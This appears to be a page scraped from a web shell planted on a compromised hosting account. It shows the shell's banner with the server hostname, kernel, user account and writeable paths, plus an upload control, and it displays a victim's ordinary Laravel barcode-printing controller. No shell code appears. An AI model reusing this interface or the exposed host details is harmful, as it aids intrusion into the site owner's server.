Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/pmm/app/Http/Controllers/Print/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/pmm/app/Http/Controllers/Print/BarcodeController.php
<?php

namespace App\Http\Controllers\Print;

use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Request;
use App\Models\Master\Tenant;
use App\Models\Master\Item;
use Illuminate\Support\Facades\Auth;

class BarcodeController extends Controller
{
    public function index()
    {
        $breadcrumbs = [
            ['link' => "dashboard", 'name' => "Dashboard"], ['link' => "print/barcode", 'name' => "Print Barcode"]
        ];

        $data_input = [
            'tenant_id' => Request::input('tenant_id'),
            'customer_id' => Request::input('customer_id'),
        ];

        $query = Item::with('customer', 'customer.tenant');
        $tenant = Auth::user()->load('model');

        if ($tenant->model_type == 'App\Models\Master\Tenant') {
            $tenant = Tenant::where('id', '=', Auth::user()->model_id)->orderBy('name', 'asc')->get();

            if ($data_input['customer_id'] == 0) {
                $query = $query->whereRelation('customer.tenant', 'id', '=', Auth::user()->model_id)->orderBy('customer_id', 'asc')->orderBy('name', 'asc')->get();
            } else {
                $query = $query->whereRelation('customer.tenant', 'id', '=', Auth::user()->model_id)->where('customer_id', '=', $data_input['customer_id'])->orderBy('customer_id', 'asc')->orderBy('name', 'asc')->get();
            }
        } else if ($tenant->model_type == 'App\Models\Bussiness') {
            $tenant = Tenant::orderBy('name', 'asc')->get();
            if ($data_input['tenant_id'] != 0) {
                $query = $query->whereRelation('customer.tenant', 'id', '=', $data_input['tenant_id']);
            }

            if ($data_input['customer_id'] == 0) {
                $query = $query->orderBy('customer_id', 'asc')->orderBy('name', 'asc')->get();
            } else {
                $query = $query->where('customer_id', '=', $data_input['customer_id'])->orderBy('customer_id', 'asc')->orderBy('name', 'asc')->get();
            }
        }

        return view('content.print.barcode', compact('query', 'tenant', 'data_input'), ['breadcrumbs' => $breadcrumbs]);
    }
}

Yohohohohohooho | Sanrei Aya